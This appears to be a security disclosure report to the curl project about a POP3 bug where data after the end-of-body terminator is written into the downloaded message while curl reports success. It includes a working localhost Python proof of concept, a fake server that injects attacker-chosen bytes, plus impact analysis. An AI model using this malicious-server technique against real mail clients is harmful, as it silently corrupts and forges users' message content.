curl · Report #4132132
POP3: data after the end-of-body terminator is written into the retrieved message
How it was found
Vulnerability Information
When a POP3 server sends the end-of-body terminator and further data in the same read, curl writes the bytes after the terminator into the retrieved message's output file and still reports success. The PoC returns the message, its "." line, and then a second "+OK" response that answers no command; the file for message 1 becomes b'HONEST-ONE\r\n.\r\n+OK 99\r\nATTACKER-TWO\r\n' instead of b'HONEST-ONE\r\n'. lib/pop3.c:1241 hands the receive buffer's leftover bytes to pop3_write() as more body, and the comment there states that "there may even be additional headers after the body". A malicious or compromised POP3 server, or an on-path attacker against cleartext POP3, can therefore append attacker-chosen bytes to any downloaded message and the application cannot detect it, because the transfer exits 0. Reproduced on curl 8.21 and current master.
python3 poc.py
exit=0 message 1 file: b'HONEST-ONE\r\n.\r\n+OK 99\r\nATTACKER-TWO\r\n'
expected: b'HONEST-ONE\r\n'
PoC (26 non-empty lines, stdlib only, localhost only)
import socket, subprocess, threading, time, os
def srv(p):
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", p)); s.listen(1); c, _ = s.accept(); b = b""
c.sendall(b"+OK ready\r\n")
while True:
d = c.recv(4096)
if not d: return
b += d
while b"\r\n" in b:
l, _, b = b.partition(b"\r\n"); u = l.split(b" ")[0].upper()
if u == b"RETR":
# ONE write: the message, its "." terminator, then a second
# response that answers nothing
c.sendall(b"+OK 12\r\nHONEST-ONE\r\n.\r\n"
b"+OK 99\r\nATTACKER-TWO\r\n.\r\n")
elif u == b"CAPA": c.sendall(b"+OK\r\nUSER\r\n.\r\n")
elif u == b"QUIT": c.sendall(b"+OK bye\r\n"); return
else: c.sendall(b"+OK\r\n")
p = 12345
threading.Thread(target=srv, args=(p,), daemon=True).start(); time.sleep(0.4)
if os.path.exists("m1"): os.unlink("m1")
r = subprocess.run(["curl", "-s", "-S", "-u", "u:p", "-o", "m1",
"pop3://127.0.0.1:%d/1" % p])
print("exit=%d message 1 file: %r" % (r.returncode, open("m1", "rb").read()))
print("expected: b'HONEST-ONE\r\n'")
Where this came from
Found while testing a separate reuse issue. The distinguishing point is that here the extra bytes
are already in curl's buffer while the transfer is still running, so this is not a race the
client could lose — a client must stop at the . terminator.
Held back, available on request
The affected code path and why the leftover is treated as body, with the fix shape: lib/imap.c:1417-1437 has the same construct and the same comment but clamps the write to the declared literal size (if((curl_off_t)chunk > size) chunk = size), while lib/pop3.c:1252 passes curlx_dyn_len(&pp->recvbuf) with no bound · IMAP, SMTP and FTP checked and not affected · the separate connection-reuse finding this was found alongside · AI-use disclosure details.
Impact
Primary — silent integrity failure of a downloaded message. curl -o msg1 pop3://srv/1 produces a file that is not what the mailbox stored: the message, then a literal . line, then arbitrary server-chosen bytes — and curl exits 0.
- Content injection attributed to a real message. The appended bytes sit inside the file the user asked to be "message 1 from my mailbox", after genuine content from a known sender. Anything consuming that file — a client's display, an archive, a search index, a filter, an agent summarising mail — ingests text the mailbox never contained. Comparing against the server shows a different artifact.
- No signal. Exit 0, no warning, no size discrepancy surfaced. An integrity-sensitive application has nothing it can check, so it cannot defend even if it wants to.
- Message-boundary corruption. The file contains a bare . line, which is not legal inside a POP3 message body. Anything that re-splits on lines, re-forwards, or re-uploads the file mis-frames it; for MIME it can shift part boundaries.
- Availability/correctness. Byte-exact consumers (maildir sync, signed document retrieval, backups) silently get garbage.
Who can trigger it: on cleartext POP3 (port 110, no STLS) an on-path attacker needs no server compromise — that's the strongest scenario. With POP3S it takes a malicious or compromised server or mail proxy. No user interaction beyond downloading.
What it is not — say it before they do: no memory corruption or code execution (I traced the state machine; eob only ranges 0→5, so the POP3_EOB, prev writes stay inside the 5-byte static string), no credential exposure, no other user's mail, no write outside the -o path the app chose, and no cascade — in my two-URL test message 2 still got its honest answer.